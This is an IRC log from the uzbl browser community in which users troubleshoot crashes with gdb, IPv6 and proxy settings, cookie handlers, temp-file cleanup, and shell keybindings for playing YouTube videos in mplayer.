16:21 < ruskie> the symbols tell you what in the source to look at
16:22 < mateusz> so, I need to have the source as well, is there any way that I can tell gdb where is the source?
16:23 < mateusz> nvm
16:26 < scj> there is also a uzbl-experimental-git in aur
16:27 < mateusz> I just did checkout git and built it with experimental
16:27 < mateusz> now I'll try to start it with gdb
16:27 < Dieterbe> at this point master == experimental btw
16:27 < Dieterbe> afaik
16:27 < mateusz> yes, gitk says it is the same
16:28 < scj> Dieterbe: 'afaik'? if anybody should know, it's probably you
16:29 < Dieterbe> uhm, i've had a lot on my mind lately. i hope you can forgive me for that
16:29 < mateusz> maybe he did drink lately ;)
16:29 < Dieterbe> and i'm not the only one with push access to the main repo anymore
16:30 < Dieterbe> and i usually phrase my statements (a bit too much) on the careful side
16:30 < Dieterbe> so there you have it
16:31 < mateusz> there is still one problem, how to start sth in gdb while specyfining it's cmd line ?  I want to specify cfg file location
16:31 < mateusz>  gdb "uzbl -c /home/mateusz/.uzbl/examples/config/uzbl/config" doesn't work
16:33 < mateusz> ok, have it
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16:39 < mateusz> ok, I see that the problem is in function act_bind
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16:52 < mateusz> the problem is with splitting
16:53 < mateusz> in this function there is expression split[1], however split contains only one result string
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17:01 < mateusz> actually, in the settings init the line is truncated from bind ^@ = cmd to "bind" alone
17:03 < mateusz> it's probably read_file_by_line fault
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17:09 < mateusz> ok, now I know what is going on
17:10 < mateusz> ctrl+j is considered the same as enter
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17:10 < mateusz> this is why bind ctrl+j = cmd is being understood as bind ctrl + j, next line, = cmd
17:12 < mateusz> still no way to use ctrl as modifier in uzbl :(
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17:16 < mateusz> question to the author: why do you use gtk function to read file rather then stdio?
17:22 < scj> using actual control chars in the config is far from ideal
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17:38 < mateusz> maybe we could add a preprocessor for bind commands?
17:38 < mateusz> or use x keysym to code mapping
17:39 < Dieterbe> i heard rob| talk about using x keysyms for keybinds
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17:40 < mateusz> I could look at it, but any help would be appreciated
17:40 < mateusz> i.e. do I need to know if xlib has to be used, do I need to open display, etc
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17:40 < Dieterbe> mateusz> question to the author: why do you use gtk function to read file rather then stdio? <-- i think you mean glib instead of gtk
17:41 < Dieterbe> we use glib for many things and i think it's an okay lib
17:41 < mateusz> I'm not sure, I just saw the headers, but probably you aree right
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17:41 < mateusz> ah, ok, just wanted to have an idea
17:42 < Dieterbe> surely there are people here that are _much_ better in C then I am who could argue about things such as portability and whatever
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17:43 < mateusz> I have no idea about programming under linux
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17:44 < Dieterbe> mateusz: which platform(s) are you more used to?
17:44 < mateusz> as a programmer: jvm, some winapi, some clr
17:45 < mateusz> but I know c/c++ and some dynamic languages too
17:45 < mateusz> just not unix specific
17:45 < Dieterbe> uhu
17:46 < mateusz> so, anyone knows if keysym -> keycode mapping is good to be done using xlib? or there is better solution?
17:48 < scj> mateusz: you should talk to DuClare, I think he has begun working on it
17:48 < mateusz> thanks
17:48 < Dieterbe> i think xlib is most appropriate yes, but i'm not sure. rob| / DuClare are into this stuff
17:48 < mateusz> do they own one of the github branches?
17:49 < mateusz> one of the specified on the page
17:49 < Dieterbe> they both have accounts on github yes
17:49 < scj> but DuClare's isn't listed on uzbl.org
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17:49 < Dieterbe> don't look at the mainpage too much.
17:49 < mateusz> is outdated, ok
17:50 < Dieterbe> yeah
17:50 < Dieterbe> this is more useful: http://github.com/Dieterbe/uzbl/network
17:52 < jelly12gen> that's fun to watch
17:52 < N30N> mateusz: you can add extra binds via javascript like so... http://pastebin.com/d63484001
17:55 < mateusz> N30N: thanks, I'll check it :)
17:55 < mateusz> thanks to uzbl community I started to learn gdb ;)
17:55 < N30N> mateusz: just need to add it to load_commit_handler ;)
17:56 < mateusz> I guess I'll need to read all the code to be able to use uzbl efficiently
17:56 < DuClare> Sorry guys, I've been somewhat busy with things.  mateusz, if you're in a hurry and want to code it, see http://library.gnome.org/devel/gdk/unstable/gdk-Event-Structures.html#GdkEventKey and http://library.gnome.org/devel/gdk/2.17/gdk-Keyboard-Handling.html
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17:57 < Dieterbe> mateusz> I guess I'll need to read all the code to be able to use uzbl efficiently <-- if that's true, that would mean a flaw in our documentation...
17:57 < DuClare> If you're not in such a hurry, then just wait 'till I sort my time.. :)
17:58 < mateusz> it depends on actual usage
17:58 < mateusz> I want to extend it too
17:58 < mateusz> as it's probably not as extensible as you would wish
17:59 < mateusz> yet
18:01 < Dieterbe> well, the discovery process is all yours ^^
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18:26 < urnthr> do we still have that regression for always_insert_mode?
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18:56 < holizz> urantherz, I don't think anybody fixed it.
18:56 < urantherz> i'll take a look at in a min
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19:30 < uranther> fuck innernets
19:31 < Cheeseum> latest webkit trunk seems to work fine on 64-bit with gcc 4.4
19:31 < Cheeseum> it's like I can actually brows the internet without segfaults
19:32 < uranther> holizz, I can't reproduce a crash when using always_insert_mode
19:32 < uranther> does it crash on multi-byte characters only?
19:33 < uranther> also, take a look at  http://library.gnome.org/devel/glib/unstable/glib-Miscellaneous-Utility-Functions.html#g-get-system-data-dirs
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19:36 < holizz> uranther, Hmm? The problem was that always_insert_mode = 1 doesn't start out in insert mode - it just stays in insert mode once you're in it.
19:37 < uranther> i didn't have that problem :/ i typed :set always_insert_mode = 1 and it goes into insert mode and i can type Alt+ZZ to exit fine
19:38 < uranther> is there a way to clear the command buffer while in always_insert_mode
19:41 < holizz> uranther, Sure, browse to another page.
19:41 < holizz> I didn't test it interactively - it might only happen when it's in the conf file.
19:42 < uranther> fuck uzbl is doing that thing again where it resizes to the size of the page
19:42 < uranther> uzbl.org is kind of long...
19:45 < uranther> ah.. the bugzilla says webkit is too blame argh
19:49 < uranther> -o
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22:24 < Vithon_> http://xkcd.org/619/
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23:11 < scj> what does '4.0% CPUs' even mean?
23:12 < holizz> Maybe it says 4,096.
23:12 < holizz> But I'm not sure what that means either.
23:12 < holizz> It's 1024*4.
23:15 < MichaelRaskin> 4.0% up
23:15 < MichaelRaskin> I.e. 4096 -> 1.04*4096
23:15 < Dieterbe> it actually says 4096
23:15 < Dieterbe> i also had to read it like 10 times to see what he meant
23:16 < MichaelRaskin> But the question about "who uses it" is correct anyway.
23:17 < MichaelRaskin> Because there is no reason not to sniff the request and not to wget the flv anyway
23:18 < scj> xkcb sucks
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23:20 < holizz> scj, A dissident is amung us.
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23:21 < scj> M-x butterfly was sort of funny, but the rest has been pretty consistently unfunny
23:24 < MichaelRaskin> There were purely disasterous periods.. Now there is some improvement, although less than it could be. Icar on Titan is sad because copy-paste reordering of the panels does make the joke better.
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00:43 < wart__> MichaelRaskin: Do you have a sane way of sniffing out those requests?  As far as I can tell, tcpdump is pretty random and each page hides the script under layers of cruff.
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00:49 < scj> wart__: the way to do it is to use a actionscript interpreter to run the swf and figure out the flv url
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01:20 < ben_m> Hi there :) Is there a way to reload the config without restarting the browser? Would be useful when I'm tinkering with scripts and the config.
01:21 < scj> ben_m: the example config has a !reload
01:23 < ben_m> Thanks, works.
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08:29 < MichaelRaskin> wart__, well, wireshark analyzes the packets well enough..
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09:42 < pwlz> Strange, uzbl is not able to open http://pld-linux.org - it says: "Cannot connect to destination"
09:42 < pwlz> It works with other browsers on the same machine.
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09:45 < holizz> pwlz, I get that frequently - uzbl doesn't retry or anything, it just shows you the error.
09:53 < Dieterbe> morning ladies
09:54 < Dieterbe> fryguy> any configs of tabbed uzbl in xmonad floating around? <-- check DuClare's config
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10:00 < pwlz> holizz: I know. I clicked "Try again" few times. It just doesn't like pld-linux.org webpage.
10:02 < Dieterbe> hey pwlz i pushed that tag for you (it was you who asked, right?(
10:02 < pwlz> holizz: and a few other sites (like tomcat main application or manager application. It works if tomcat is available via apache rev-proxy. But uzbl is not able to connect to tomcat directly)
10:02 < pwlz> Dieterbe: yes, it was me, thanks.
10:02 < Dieterbe> http://pld-linux.org loads fine in my uzbl btw. but the build on this box is a few weeks old i guess
10:03 < Dieterbe> running e0a3e5e4ff2b2d038df52936c5ccd4b3b40e198d
10:04 < Dieterbe> 23 days old :P
10:04 < pwlz> It has not worked for me since refs/tags/2009.07.18 (IIRC)
10:05 < Dieterbe> building new version..
10:05 < pwlz> trying older one.. ;)
10:05 < Dieterbe> :D
10:07 < Dieterbe> in the latest experimental it works fine for me too
10:08 < pwlz> Dieterbe: ok, so it has to be some problem with my box (distro, webkit). Thanks.
10:09 < Dieterbe> fyi i'm using libwebkit 1.1.10 on Arch
10:11 < pwlz> Dieterbe: I'm using the same version. It seems to be a problem with IPv6
10:12 < pwlz> Dieterbe: It does not open IPv6 sites. If uzbl is not able to open IPv6 sites (is it?) it should ignore "AAAA" DNS records and try IPv4 version...
10:13 < Dieterbe> no idea. how can i get the ipv6? i see no mention of this in nslookup
10:16 < pwlz> Dieterbe: ask for record type AAAA. I don't know how to do that using nslookup, but you can use dig: dig -t aaaa pld-linux.org
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10:17 < Dieterbe> well, uzbl 2001:6a0:13f:8::1 doesn't work at least
10:18 < pwlz> Dieterbe: but ipv6.google.com works for me :-/ So I have no idea...
10:21 < holizz> Dieterbe, Have you tried with http://...
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10:22 < Dieterbe> yeah. no change
10:23 < pwlz> uzbl 'http://[2001:4860:a003::68]'
10:23 < pwlz> it works for me (ipv6.google.com)
10:23 < Dieterbe> uzbl ipv6.google.com doesn't work for me either
10:31 < pwlz> Dieterbe: sorry for stupid question: are you able to ping6 it?
10:32 < Dieterbe> pingdieter@dieter-dellD620-arch ~ ping6 ipv6.google.com
10:32 < Dieterbe> connect: Network is unreachable
10:32 < Dieterbe> oops
10:32 < pwlz> ;)
10:32 < Dieterbe> at least someone is using his brains here :P
10:37 < rob|> morning.
10:39 < Dieterbe> hello sir
10:43 < rob|> Dieterbe: did i find some irony in your ML message ;)
10:45 < Dieterbe> actually i meant it ;)
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11:28 < pwlz> How to set proxy for uzbl? Does it understand http_proxy env variable?
11:30 < holizz> pwlz, set proxy_url = http://localhost:8118/
11:34 < pwlz> thx
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14:02 < mason-l> Hey guys
14:02 < mason-l> I've got the next 7 days off :)
14:06 < holizz> Congratulations!
14:08 < holizz> I estimate fixing every bug in Flyspray would take that long. Get to work!
14:08 < ruskie> lol
14:09 < mason-l> I set myself up for that one.
14:09 < mason-l> But seriously theres been some stuff I've been meaning to work on in uzbl_tabbed.py which I'm going to get to.
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14:31 < holizz> Does anybody else find Gmail to be entirely unreliable in uzbl?
14:31 < mason-l> YES
14:32 < mason-l> Oops.. something something trying server again (error #6411)
14:42 < errno> can someone check why cookie-handler isn't building for me? http://pastebin.ca/1526442
14:43 < mason-l> You can try: http://www.uzbl.org/wiki/cookie_daemon.py
14:43 < mason-l> (The python version)
14:44 < errno> right i'll give that a shot, thx
14:44 < mason-l> errno, But I would say that you are missing one of those includes
14:45 < mason-l> libsoup, libxml2, glib-2.0, glib-2.0, soup, gio, gobject, gmodule, glib
14:49 < scj> wouldn't glib-2.0 conflict with glib-2.0?
14:49 < mason-l> scj, I didn't double check the list, I just pasted his own output back at him.
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14:57 < errno> cookie_daemon.py works, nice!
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15:04 < errno> just a shame that both of my netbanks refuse to work
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15:58 < N30N> holizz: unreliable how?
15:58 < holizz> N30N, It keeps giving errors. Evidently the AJAX is failing for some reason.
16:00 < N30N> holizz: oh, I always use the html/basic version, it's much faster :)
16:00 < holizz> N30N, Yeah, that could be a good plan.
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16:02 < N30N> holizz: or you could do it the unix way ant use a email client ;)
16:02 < N30N> s/ant/and/
16:03 < holizz> N30N, So far Gmail is the only bearable email client I've found.
16:03 < holizz> I generally find email to be a bad idea, so I try to limit my exposure.
16:04 < scj> email is so 80's
16:05 < N30N> yeah well, google wave is comeing xD
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16:07 < scj> I remain kind of ambivalent about wave
16:09 < holizz> N30N, I have an account. It wasn't really working last time I tried.
16:12 < holizz> N30N, BTW how do you set Gmail to load the basic view?
16:14 < N30N> holizz: that's what happen's when you build web apps using java
16:14 < N30N> holizz: I have :open gmail -> https://gmail.google.com/gmail?nocheckbrowser
16:14 < holizz> N30N, I'm looking forward to trying out the CLI version of Wave.
16:15 < N30N> yeah that looked nicer
16:16 < scj> dunno if a cli version of wave would make sense
16:16 < holizz> Hmm. I'm using checkgmail... I could probably add it. But I'm not sure I can be bothered. It's been abandoned for a while.
16:16 < scj> but then I know hardly nothing about wave, other than that demo video
16:19 < N30N> holizz: oops it's https://mail.google.com/mail/h/ not the above
16:22 < holizz> N30N, Taa.
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16:39 < bct_> bah.
16:40 < bct_> i mistyped that command 4 times before it worked :(
16:41 < scj> are you drunk?
16:46 < bct_> ha, i wish.
16:47 < bct_> but no, it's 9 in the morning here.
16:47 < bct_> i just have stupid fingers.
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16:48 < axionix> hi i heard the !reload bug was fixed...is this true? i am new to uzbl and just pulled it from git an hour agho but I get the crash
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17:01 < scj> axionix: according to my irc logs, holizz claimed to have fixed them
17:01 < scj> maybe they haven't been merged in by dieter yet
17:02 < axionix> oh i guess not
17:02 < axionix> regardless i am in love
17:02 < axionix> goodbye midori
17:02 < rob|> really? holliz, got a commit hash?
17:03 < axionix> what would be a good way to cleanup fifo's and such in tmp upon load? create a wrapper for uzbl?
17:04 < rob|> that'll be a possibility
17:04 < axionix> when it segfaults it leaves behind files in /tmp preventing it from working
17:04 < rob|> erm, 'that would' rather..
17:06 < rob|> right, so for sockets it's easy to see wether they're still in use or abandoned just query a value and see if you get an response
17:06 < rob|> for fifos it's a bit bit more tricky but still solvable
17:07 < axionix> ok ill just do rm -f /tmp/uzbl* && uzbl
17:07 < rob|> well, that's not the smartest way, though
17:07 < axionix> i'm not to sh technical :) python dude :)
17:07 < axionix> too*
17:07 < rob|> well, then do it in python
17:08 < axionix> i have never worked with sockets before. im not sure the smartest way to do it
17:09 < rob|> as i said sockets are easy. just do: uzblctrl -s socketname -c 'print @COMMIT'
17:09 < rob|> this will give you the commit hash, aka version number, as a response
17:09 < rob|> if you recevive it the socket is alive otherwise you can delete it
17:09 < scj> axionix: I would generate /tmp/uzbl_$(echo $(date) | md5sum | cut -d ' ' -f 1)) and put the socket and fifo in there
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17:10 < scj> when I close the instance, delete the dir
17:11 < axionix> why would i need them after segfault? why wouldnt removing them like above be a smart idea?
17:11 < rob|> axionix: cause if using multiple uzbl instances you wouldn't know which socket is still alive and which ones belong to segfaulted uzbls..
17:11 < ruskie> especially if no uzbl instance is running ;)
17:12 < axionix> i see. i dont plan on using more than 1 instance ever though but i could anticipate i guess :)
17:12 < ruskie> well there are no tabs
17:12 < ruskie> so if you want those it's always more than one instance :)
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17:13 < axionix> oh i heard there were scripts for that, but i assume are just instances now that i think about it
17:14 < ruskie> the uzbl_tabbed.py just grabs each instance that's all
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17:14 < axionix> ok so has anyone done my work for me yet? :)
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17:16 < rob|>  heh, iirc there were plans for something like that. not sure who the guys was, though
17:18 < axionix> k, i will try scripting a wrapper then tto prevent headaches with this segfault
17:19 < rob|> nice. be sure to mention it on the wiki so others can profit from it, too
17:19 < axionix> k, will do
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17:32 < axionix> is it known that gtk themes with rounded widgets arent displayed properly?
17:32 < axionix> such as clearlooks
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17:35 < scj> axionix: something like this http://pastie.org/581421
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17:36 < axionix> nice
17:36 < scj> don't like the fact that it rewrites config everytime, but doing 'echo "set fifo_dir = foo" | uzbl' didn't seem to work
17:36 < scj> but that should avoid fifo collisions
17:38 < jelly12gen> is anyone using uzbl with gmail  ? I get constant errors here
17:39 < scj> 6411?
17:39 < jelly12gen> Oops .. the systme encoutered a problem (#500)
17:39 < jelly12gen> i should check the bugtracker
17:39 < scj> what cookie handler are you using?
17:40 < jelly12gen> the socket one
17:41 < axionix> how can i use a proxy with uzbl?
17:42 < scj> jelly12gen: it's probably the cookie handler. try using the internal webkit cookie handler and see what happens
17:42 < rob|> axionix: set proxy_url = http://foo.bar:8080
17:42 < jelly12gen> scj: hmm internal? Wich one is that ?
17:43 < scj> jelly12gen: the one you get when you don't define a cookie_handler
17:43 < axionix> ah ok. is privoxy a good way to remove ads, or are there scripts/more lightweight text tools to integrate with?
17:43 < jelly12gen> scj: is that a fast one ?
17:43 < jelly12gen> :o
17:43 < rob|> axionix: yeah, privoxy works pretty well. in fact that's what i use
17:43 < axionix> nice
17:43 < scj> jelly12gen: yes. but the cookies aren't persistent and will get deleted when close the instance
17:43 < jelly12gen> ah ok
17:44 < jelly12gen> another problem that somethimes webpages show images flashy when they arent flash
17:44 < rob|> animated gifs?
17:44 < jelly12gen> no
17:44 < rob|> oh, hmm
17:44 < jelly12gen> it's a forum :o
17:44 < jelly12gen> rob|: http://lxer.com/
17:44 < jelly12gen> other example
17:45 < jelly12gen> really annoying i should block that ad anyway
17:46 < jelly12gen> any advice for a adblocker wich is easy to maintain and fast ?
17:46 < rob|> jelly12gen: don't see anything flashing there
17:46 < axionix> insert_bookmark.sh says to specify tags after \t. how do i use these tags? dmenu doesnt show them
17:47 < axionix> sorry for all the questions :/
17:48 < jelly12gen> rob|: hmm strange
17:48 < jelly12gen> rob|: maybe you blocked it
17:48 < jelly12gen> :P
17:48 < rob|> yeah, might be
17:48 < scj> jelly12gen: I don't see what you are talking about either
17:48 < scj> and I'm not using any adblocks
17:48 < jelly12gen> ok er.. hmm maybe some DNS setting
17:48 < jelly12gen> i block stuff with opends
17:49 < jelly12gen> but i heard that 's bad / slow
17:49 < rob|> ever tried privoxy?
17:49 < jelly12gen> i haven't used it
17:49 < scj> or polipo
17:49 < jelly12gen> is it fasT ?
17:50 < jelly12gen> hmm i got an segfault
17:50 < axionix> privoxy does not cache...use polipo or squid to make it faster
17:50 < jelly12gen> ok
17:51 < jelly12gen> i could run just squid on my box
17:51 < jelly12gen> scj: is the debug flag on in the uzbl-git package ?
17:51 < rob|> well, caching and cookies is quite orthogonal
17:54 < axionix> any idea how to use bookmark tags?
17:54 < jelly12gen> rob|: i have a simple segfault question ?
17:54 < jelly12gen> axionix: look into the scripts
17:54 < rob|> ask away
17:54 < jelly12gen> rob|: i got uzbl-git installed ran it with gdb run -c /path/to/config
17:54 < rob|> ok
17:54 < jelly12gen> should i report the info that i returned
17:55 < jelly12gen> and i did  'bt'
17:55 < jelly12gen> wich gave a backtrace
17:55 < rob|> you should do a 'bt' in gdb and include that, too
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17:55 < jelly12gen> ok :)
17:55 < jelly12gen> time for a bugreport then
17:56 < jelly12gen> i will run uzbl with the memory checking thing once
17:57 < axionix> jelly12gen: i have but dont really understand "because they are all after each other, just show the url, not their tags."
17:57 < jelly12gen> hmm
17:57 < jelly12gen> i havne't tried them
17:58 < jelly12gen> i am going to make my one
17:58 < jelly12gen> wich acts like  B keywords
17:58 < jelly12gen> and then i have to think of something smart to search with keywords and open a bookmark
17:58 < axionix> hmm
18:01 < jelly12gen> rob|: i have added the bug to the bugtracker
18:04 < jelly12gen> how usefull is doing the memory leak checks ?
18:05 < jelly12gen> the valgrind stuff
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19:58 < sako> hey all, im trying to find out what that is on the bottom of the screenshot here
19:58 < sako> http://www.barrucadu.co.uk/screenshots/2009-05-27.png
19:59 < sako> ah found it.. Webkit inspector
20:06 < ruskie> hmm each time I try the inspector I get just some odd data instead of the page
20:08 < MichaelRaskin> ruskie, do you have mime-info in any of the supposed locations
20:09 < MichaelRaskin> Try strace-ing attempt to inspect
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20:09 < sako> does uzbl come with webkit inspector?
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20:10 < ruskie> MichaelRaskin, define any of the supposed locations
20:10 < MichaelRaskin> It requires extra effort for a webkit browser not to come with it
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20:10 < MichaelRaskin> ruskie,  $XDG_DATA_DIRS
20:11 < MichaelRaskin> DIR/mime
20:11 < ruskie> MichaelRaskin, http://sprunge.us/ZDJM this is what I get
20:12 < MichaelRaskin> Yup, my experience exactly
20:12 < ruskie> but this used to work
20:12 < MichaelRaskin> Put mimeinfo somewhere
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20:17 < ruskie> MichaelRaskin, is that the same as /etc/mime.types ?
20:17 < MichaelRaskin> No
20:18 < MichaelRaskin> It is a directory with, for example, a "magic" file with magic signatures etc
20:18 < ruskie> ahhh file has that iirc
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20:20 < MichaelRaskin> http://freedesktop.org/~hadess/${name}.tar.bz2, name=shared-mishared-mime-info-0.51me-info-0.51
20:21 < MichaelRaskin> http://freedesktop.org/~hadess/${name}.tar.bz2, name=shared-mime-info-0.51
20:21 < ruskie> shared-mime-info <-- so hard to say that :)
20:23 < ruskie> thanks :)
20:29 < axionix> i'm trying to bind a command to watch a youtube video in mplayer instead of flash...it works in a shell, but not through uzbl. can someone take a look?
20:29 < ruskie> pastebin it
20:29 < axionix> sure
20:32 < axionix> http://pastie.org/581665
20:33 < scj> bind yt = sh 'mplayer -fs $(stuff)'
20:34 < sako> hey guys how do i the webkit inspector on uzbl?
20:34 < axionix> yes i did that sorry i pasted wrong :/
20:34 < ruskie> sako, right click
20:34 < ruskie> axionix, why not put it in a script then just call that script?
20:35 < sako> wow
20:35 < sako> ruskie ty.. who the f needs vimperator + firebug lol
20:35 < axionix> i could, but i'm trying to contain it within the config
20:36 < jelly12gen> firebug ftw
20:36 < sako> jelly12gen: your using vimperator and uzbl?
20:36 < scj> webinspectors tabcompletion thing in the js shell is quite possibly the most annoying fucking thing I have ever encountered
20:36 < jelly12gen> sako: yeah
20:36 < jelly12gen> but mainly uzbl
20:36 < sako> jelly12gen: cool, yea im gonna need vimperator for a bit. till my uzbl training wheels come off
20:37  * N30N watching football
20:37 < N30N> oops s/me/away/ :)
20:37 < jelly12gen> i actually need a die hard uzbl coder
20:38 < axionix> seems like uzbl doesnt like nested subshells
20:38 < axionix> could be wrong
20:38 < jelly12gen> i was working on my script but i want to pass argument with it
20:38 < jelly12gen> from uzbl
20:39 < scj> if you do 'spawn foo.sh bar', $9 will be 'bar'
20:39 < jelly12gen> scj: hm aha
20:40 < scj> no wait, $8
20:40 < scj> it's in the readme
20:40 < ruskie> ahh spawn works
20:41 < jelly12gen> scj: i want something like
20:41 < ruskie> axionix, use spawn instead of sh
20:41 < jelly12gen> bind B = spawn /path/to/script/ $args
20:41 < jelly12gen> or sh
20:43 < scj> jelly12gen: that's how it works. read the readme
20:43 < jelly12gen> ok
20:43 < ruskie> of course I bypass all the prob with having an external script
20:43 < axionix> ruskie: that tries to spawn the unparsed shell command
20:44 < ruskie> axionix, then spawn sh 'whatever'
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20:45 < axionix> nope
20:45 < jelly12gen> scj: isnt b _ = spawn wathever %s  better?
20:46 < scj> jelly12gen: depends
20:46 < jelly12gen> hmm
20:46 < scj> 'better' really depends on the situation. you can do it
20:46 < jelly12gen> ok
20:47 < ruskie> I just wish I could tell uzbl to always spawn the video with mplayer if it's flash...
20:47 < jelly12gen> hmm
20:48 < ruskie> so I could avoid trying to figure out where that embeded youtube is pointing to
20:48 < axionix> i just wish i could spawn mplayer within the config file
20:48 < ruskie> I can but I use an external script
20:48 < ruskie> though thanks for the idea
20:48 < jelly12gen> it would be cool if youtube just got played by mplaye r:D
20:49 < ruskie> and all the other tubes
20:49 < jelly12gen> hmm
20:49 < scj> you could use load_*_handler to run commands if it matches youtube
20:49 < axionix> block flash for youtube and have it do a load_finish?
20:50 < jelly12gen> scj: $8 date of visit (Y-m-d H:i:s localtime)
20:50 < jelly12gen> hmm
20:50 < ruskie> axionix, I don't use flash at all
20:50 < axionix> then you're half way there
20:51 < scj> jelly12gen: wat
20:51 < jelly12gen> then you are one of the few
20:51 < axionix> thats what im attempting...as 1 file because i have a lot of scripts like this for other sites
20:51 < jelly12gen> scj: nevermind
20:51 < axionix> i dont want to ushtons of configs to git for people
20:51 < axionix> push*
20:51 < ruskie> axionix, try spawn "/bin/sh mplayer $(echo "http://youtube.com/get_video.php?$(curl -s $6 | sed -n "/watch_fullscreen/s;.*\(video_id.\+\)&title.*;\1;p")")"
20:52 < ruskie> replace /bin/sh with whatever shell you want
20:52 < jelly12gen> hmm
20:52 < jelly12gen> lol
20:52 < ruskie> that way it will evaluate the shell
20:53 < jelly12gen> nice
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20:53 < axionix> error on run_command: Failed to execute child process "/bin/bash mplayer $(echo http://youtube.com/get_video.php?$(curl" (No such file or directory)
20:54 < ruskie> hmm
20:54 < ruskie> odd
20:55 < axionix> yeah ive been at this for hours...its weird
20:55 < ruskie> maybe $6 isn't getting through
20:55 < ruskie> since it would be passed as a parameter
20:55 < ruskie> so at the end of the entire command
20:55 < ruskie> though looking at some other don't think so
20:56 < ruskie> hmm try /bin/bash -c
20:56 < holizz> Here's my version, if it's of any use: bind yt = sh 'mplayer $(clive -en $6 | grep csv | cut -d , -f 2 | tr -d \\")'
20:57 < axionix> i dont think so...yeah trying not to use clive :)
20:57 < axionix> same exact thing with -c
20:57 < ruskie> hmm
20:57 < ruskie> maybe subshell mplayer as well
20:59 < axionix> no matter what i get the same error...very weird
21:02 < axionix> if i pass in a real url instead of $6 i get the same error
21:02 < jelly12gen> ok
21:02 < jelly12gen> i can't pass argument like
21:02 < jelly12gen> bind B _ = spawn script '%s'
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21:03 < ruskie> jelly12gen, define argument
21:03 < jelly12gen> ?
21:03 < jelly12gen> ok
21:03 < jelly12gen> i just want to  make a bookmarks script
21:03 < jelly12gen> so you do
21:03 < jelly12gen> B  your args    ( in uzbl )
21:03 < jelly12gen> and it's get the url from $url
21:03 < jelly12gen> and the keywords from the bar
21:04 < jelly12gen> but i am missing something stupid
21:05 < ruskie> maybe you need to quote everything?
21:05 < jelly12gen> hmm
21:06 < ruskie> alse why not put some debugging into the script?
21:06 < jelly12gen> i did
21:06 < ruskie> and?
21:06 < jelly12gen> run uzbl as -v
21:07 < jelly12gen> ruskie: i did
21:07 < jelly12gen> echo " test " > /home/jelle/test
21:07 < ruskie> is the script executable?
21:07 < jelly12gen> but that fails
21:07 < jelly12gen> yes
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21:07 < ruskie> and again trid echo $6 > some.log in the script?
21:08 < jelly12gen> no succes
21:08 < ruskie> nothing comes out?
21:08 < jelly12gen> nah
21:08 < jelly12gen> nothing nada
21:08 < jelly12gen> >_<
21:08 < ruskie> odd
21:08 < ruskie> but the file get's created?
21:08 < jelly12gen> not even
21:08 < jelly12gen> i think the script isnt even called
21:08 < ben_m> I'm experimenting with that too
21:08 < ruskie> restarted uzbl yet?
21:08 < ben_m> same thing happens to me.
21:09 < jelly12gen> ruskie: did that
21:09 < jelly12gen> is there another way to parse arguments from the bar ?
21:09 < ruskie> not that I know
21:09 < jelly12gen> hmm
21:09 < jelly12gen> damn
21:10 < jelly12gen> i dont want some pop up like zenity
21:10 < jelly12gen> that doesnt work in a Tiling WM :)
21:10 < ruskie> :)
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21:10 < jelly12gen> meh i was like yeah script !!
21:10 < ruskie> hav you tried without passing any params?
21:10 < jelly12gen> hmm
21:11 < ben_m> It's so strange too.
21:11 < ben_m> ruskie: Trying that right now
21:11 < jelly12gen> nah doesnt work
21:11 < ruskie> modify the call as well
21:11 < ben_m> Doesn't work either
21:11 < ruskie> no %s
21:11 < jelly12gen> ok
21:11 < ben_m> bind x = spawn thescript
21:11 < ben_m> Does nothing.
21:11 < ruskie> did you just reload or restart?
21:11 < ben_m> reload
21:11 < jelly12gen> shit
21:11 < jelly12gen> that doesnt work too
21:11 < jelly12gen> heh ?
21:11 < ruskie> I haven't had much luck with reloading
21:11 < ruskie> I tend to just restart
21:11 < jelly12gen> me too
21:12 < ben_m> restarting doesn't work either
21:12 < jelly12gen> seriously another homemade script works
21:12 < ruskie> bind    :B _         = spawn $HOME/.config/uzbl/scripts/insert_bookmark.sh %s <-- this is what I have but I don't use(it's the default one)
21:12  * jelly12gen does the wtf
21:13 < jelly12gen> ruskie: doest it work ?
21:13 < jelly12gen> with just echoing
21:13 < jelly12gen> echo $@
21:14 < ruskie> yup
21:14 < axionix> well it works fine with a wrapper...itll have to do until uzbl or my bash scripting matures
21:14 < ben_m> I just ran uzbl -v
21:14 < ben_m> error on run_command: Failed to execute child process "/home/ben/.local/share/uzbl/scripts/foo.sh" (Permission denied)
21:14 < jelly12gen> ruskie: so it works for you ?
21:14 < ruskie> echo -e "$6"  >> $file <-- that in a script just worked
21:14 < jelly12gen> ok
21:15 < ben_m> Oh I'm stupid
21:15 < jelly12gen> FUUUUUUUUUUUUUUU
21:15 < jelly12gen> I AM STUPID
21:15 < jelly12gen> KILL ME
21:15 < ruskie> :)
21:15 < ruskie> so you guys figured it ou?
21:15 < jelly12gen> wrong path
21:15 < jelly12gen> doesnt uzbl give errors about that :o
21:15 < ben_m> jelly12gen: works for me now
21:15 < ben_m> I didn't have the wrong path either
21:15 < ben_m> I forgot to set chmod +x for the script
21:15 < ben_m> ...
21:16 < jelly12gen> i forgot to use my brain
21:16 < ruskie> :)
21:16 < ben_m> should've run uzbl -v from the beginning
21:16 < jelly12gen> er ..
21:16 < ben_m> I love how we both found our errors at the same time
21:16 < ben_m> :)
21:16 < jelly12gen> ben_m: that's because you sir are awesome
21:16 < jelly12gen> :P
21:17 < axionix> well you can get rid of your clive dep if you just wrap it with a $1
21:17 < jelly12gen> wait
21:17 < axionix> also can specify hd, but i think that would require a prompt and a fallback if hd doesnt exist
21:21 < ruskie> axionix, erm... can't it just be try hd and if it fails switch to regular?
21:21 < axionix> different urls...yes youd need a fallback if it fails
21:22 < ruskie> can you provide that...
21:22 < axionix> one sec
21:23 < jelly12gen> ruskie: it was some indenting / typo / me fail
21:23 < ben_m> jelly12gen: that's because you sir are awesome
21:23 < jelly12gen> ok
21:23 < jelly12gen> /home/jelle/.config/uzbl/config 26933 41943075 /tmp/uzbl_socket_41943075 arch forum
21:23 < jelly12gen> wow if you take $@
21:23 < jelly12gen> will figure that out late
21:23 < jelly12gen> *later
21:24 < ben_m> jelly12gen: it's documented :)
21:24 < jelly12gen> anyways awesome browser will be scripting it
21:25 < jelly12gen> nevermind
21:25 < jelly12gen> $8 and $9 do the thrick
21:25 < jelly12gen> i got to go
21:26 < ben_m> Hmm, how are search and search_reverse supposed to work?
21:27 < ben_m> Do you press them after you have searched for something?
21:27 < ben_m> Because that doesn't work for me :/
21:27 < ruskie> erm
21:27 < ruskie> /whatever
21:27 < ruskie> then /[enter]
21:27 < ben_m> Another /?
21:27 < ruskie> no
21:27 < ruskie> /searchitem
21:27 < ruskie> will find the first occurence
